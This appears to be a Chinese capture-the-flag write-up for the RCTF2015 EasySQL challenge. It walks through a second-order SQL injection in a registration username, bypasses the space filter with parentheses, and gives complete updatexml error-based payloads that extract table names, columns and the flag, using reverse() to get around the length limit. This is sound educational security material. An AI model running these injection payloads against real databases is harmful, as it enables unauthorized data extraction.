当前位置: 首页 > news >正文

[RCTF2015]EasySQL ---不会编程的崽

今天也是sql注入的新类型---二次注入。不得不说花样真的多哦。

既然真的是sql注入了。那就不测试其他地方了。现在注册进去看一下界面

 

单纯的回显了名字。源代码里发现user.php。

 

可以修改密码?二次注入应该就在用户名这里了。因为修改密码时,用户名会被带入sql执行,这时就可以绕过waf。测试了一下这里修改密码不会有回显提示,所以不能常规注入,盲注也不行。最后这里只能考虑报错注入。

然后查看闭合,注册用户名为单引号,修改密码时没报错,而双引号却报错了。这说明后端闭合是使用双引号。因为双引号造成了闭合错误。同时过滤了空格,使用括号绕过即可。

最后fuzz一下看看过滤了哪些吧。过滤如下:

 没有伤到主体函数。直接开始注入

1.获取数据库

用户名:1"or(updatexml(1,concat(0x7e,database(),0x7e),1))#

然后登录去修改密码

ok哦,没毛病 。继续注入表名。

用户名:1"or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='web_sqli'),0x7e),1))#

 

这里我就不卖关子了。ctf今典骗术,flag表。真的flag在users表里

用户名:1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e),1))#

 

很明显这里还限制回显长度。real_flag_1s_here才对。但是它又过滤了right,left,mid等函数。

还有一个函数reverse,倒过来输出。

用户名:1"or(updatexml(3,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),3))#

reverse:把结果倒着输出

where(real_flag_1s_here)regexp('^f'):在这个列名的结果里匹配f开头的字符串

还是没打印完全。正向在匹配一次。把reverse删除即可

用户名:1"or(updatexml(3,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),3))#

 

把flag整合一下就好了。

http://www.lryc.cn/news/320758.html

相关文章:

  • Memcached-分布式内存对象缓存系统
  • bash: sqlplus: command not found 问题解决方法
  • 大模型-Prompt
  • Python实战:SQLAlchemy ORM使用教程
  • 能不能绕过c去学c++?
  • Python 小爬虫:爬取 bing 每日壁纸设为桌面壁纸
  • 利用textarea和white-space实现最简单的文章编辑器 支持缩进和换行
  • 总结mac下解决matplotlib中文显示问题的几种方法
  • 探索区块链世界:从加密货币到去中心化应用
  • GitLab/Github从头开始配置秘钥
  • uni.getlocation h5获取定位失败后,阻塞问题
  • Flutter 运行 flutter doctor 命令长时间未响应
  • 【数据挖掘】练习2:数据管理2
  • 【iOS】——Blocks
  • 体验OceanBase OBD V2.5.0 组件内扩容和组件变更
  • 关于前端的学习
  • DataX脚本告别手动编写,用大模型或Java代码自动生成
  • ASP.NET通过Appliaction和Session统计在人数和历史访问量
  • 在基于全志V851se的TinyVision上手动构建 Linux 6.1 + Debian 12 镜像
  • 使用jenkins-pipeline进行利用项目文件自动化部署到k8s上
  • unity发布安卓获取读取权限
  • VSCode下使用github初步
  • 华为设备配置命令大全
  • 详解基于快速排序算法的qsort的模拟实现
  • 鸿蒙Harmony应用开发—ArkTS声明式开发(绘制组件:Polyline)
  • 项目风险管理
  • glib交叉编译
  • Android11实现能同时开多个录屏应用(或者共享屏幕或投屏时录屏)
  • 音视频实战---音频重采样
  • 主存中存储单元地址的分配